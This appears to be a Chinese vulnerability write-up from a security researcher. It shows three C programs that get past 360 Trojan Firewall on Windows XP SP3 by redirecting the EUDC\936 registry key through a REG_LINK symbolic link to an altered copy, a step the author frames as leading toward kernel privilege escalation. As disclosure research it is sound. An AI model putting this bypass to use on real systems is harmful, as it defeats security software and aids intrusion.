一.测试环境
鉴于XP和360的市场占有率,故本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.7(备用木马库2011-03-21),360杀毒软件2.0.0.1330(病毒库日期2011-03-22 02:57),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户,whoami信息如下:

C:\Documents and Settings\admin>whoami /user

用户信息
----------------

用户名   SID
======== ============================================
qq\admin S-1-5-21-507921405-343818398-1606980848-1005

二.测试

1.测试1

#include <windows.h>

void main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;

  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
  {
    RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
    RegCloseKey(hKey);
  }
}

编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”。选择“阻止本次操作”,点确定后HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改

2.测试2

#include <windows.h>

void main()
{
  RegDeleteKey(HKEY_CURRENT_USER,L"EUDC\\936");
}

编译后运行,360无任何提示,HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936成功删除。

漏洞就在这里。我们可以把HKEY_USERS\(用户SID)\EUDC\936所有数值复制到另外一个项HKEY_USERS\(用户SID)\936Temp里面,修改936Temp里面的SystemDefaultEUDCFont数值类型和数据,修改时360不报。然后删除HKEY_USERS\(用户SID)\EUDC\936,再建立一个同名的HKEY_USERS\(用户SID)\EUDC\936项(REG_OPTION_CREATE_LINK),设置SymbolicLinkValue键值指向936Temp。这样无论是用户态还是内核态里面读取HKEY_USERS\(用户SID)\EUDC\936项下面的SystemDefaultEUDCFont数值,其实都是读取HKEY_USERS\(用户SID)\936Temp项下的SystemDefaultEUDCFont数值。

3.测试3
恢复原HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936。

#include <windows.h>
#include <Shlwapi.h>
#pragma comment(lib,"shlwapi.lib")

void main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  k1,link;

  RegCreateKey(HKEY_CURRENT_USER, L"936Temp",&k1);
  SHCopyKey(HKEY_CURRENT_USER,L"EUDC\\936",k1,0);
  RegSetValueEx(k1, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);

  RegDeleteKey(HKEY_CURRENT_USER,L"EUDC\\936");

  WCHAR*  linkto=L"\\REGISTRY\\USER\\S-1-5-21-507921405-343818398-1606980848-1005\\936Temp";
  RegCreateKeyEx(HKEY_CURRENT_USER, L"EUDC\\936", 0, NULL, REG_OPTION_VOLATILE | REG_OPTION_CREATE_LINK, KEY_CREATE_LINK|KEY_SET_VALUE, NULL, &link, NULL);
  RegSetValueEx(link, L"SymbolicLinkValue", 0, REG_LINK, (BYTE *)linkto, wcslen(linkto)* sizeof(WCHAR));

  RegCloseKey(k1);
  RegCloseKey(link);
}

编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936项下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。

4.实际应用

在XP下改EUDC进内核还得过gs cookie,当然,改某些地方也可以不用过gs cookie,你懂的。
需要实际进内核改Token、加驱动的源代码以及EXE的话可以发邮件到KiDebug¥163.com,我会提供的。(注意,只提供给相关安全公司,在防御好了后我再公布出来。)

三、背景、感谢、参考资料
第一次看到REG_LINK的存在是在j00ru的文章《Windows XP SP3 Kernel Registry Handling Denial of Service》,在尝试能不拦不报不弹窗删除HKEY_USERS\(用户SID)\EUDC\936后,意识到可以利用REG_LINK,于是百度了一下“REG_LINK site:debugman.com”,搜索到了MJ0011的文章《继续爆料之注册表也LINK》。

感谢j00ru、MJ0011两位前辈!

《Windows XP SP3 Kernel Registry Handling Denial of Service》:
http://vexillium.org/dl.php?HISPSAEC_Local_DoS2.pdf

《继续爆料之注册表也LINK》:
http://www.debugman.com/discussion/2069/%E7%BB%A7%E7%BB%AD%E7%88%86%E6%96%99%E4%B9%8B%E6%B3%A8%E5%86%8C%E8%A1%A8%E4%B9%9Flink/p1